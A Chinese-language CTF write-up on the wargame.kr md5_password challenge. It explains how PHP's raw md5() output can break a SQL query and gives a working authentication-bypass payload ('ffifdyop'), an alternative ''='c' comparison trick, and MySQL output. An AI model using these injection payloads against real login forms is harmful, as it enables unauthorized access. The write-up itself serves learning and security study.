wargame.kr md5_password与SQL注射

http://wargame.kr:8080/md5_password/index.php

关键源码

$ps=mysql_real_escape_string($_POST['ps']);

$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));

这里注意md5函数还带了参数true。语法:

md5(string,raw)

参数描述

string必需。规定要计算的字符串。

raw可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

所以如果某个payload的md5取二进制之后的值是 口口' or '1口口 就会使得select * from admin_password where password='口口' or '1口口'  。注意or 最后可以1或2或3等数字开头,MySQL会将其处理为数字类型。

那么经典的这样的payload 就是ffifdyop ,其md5 二进制后内容是 �'or'6�]��

----------------

还有另外一种解法是,寻找一个payload 包含'='   使得构造select * from admin_password where password=''='c'      。解释一下 password='' 得到0 ,然后0='c' 因为MySQL将'c'看做数字类型于是判断布尔成立。

mysql> select * from users where password =''='';

+-------+----------+

| name  | password |

+-------+----------+

| guest | guest    |

+-------+----------+

1 row in set (0.00 sec)

mysql> select * from users where password =''='c';

+-------+----------+

| name  | password |

+-------+----------+

| guest | guest    |

+-------+----------+

1 row in set, 1 warning (0.00 sec)

mysql> select * from users where password =''='1';

Empty set (0.00 sec)

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

http://blog.csdn.net/qq_19876131/article/details/52890945

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 什么是数据库? 数据库是存储数据的集合的单独的应用程序。每个数据库具有一个或多个不同的API,用于创建,访问,管理...
    chen_000阅读 4,060评论 0 19
  • 【MySQL】Linux下MySQL 5.5、5.6和5.7的RPM、二进制和源码安装 1.1BLOG文档结构图 ...
    小麦苗DB宝阅读 10,643评论 0 31
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,115评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,436评论 2 22
  • 难忘那首歌曲 以及你在歌里提出的问题 而听到的我措手不及 只能用沉默,回你 . 难忘那时的身影 以及身影转瞬的离去...
    水摇绢阅读 266评论 0 1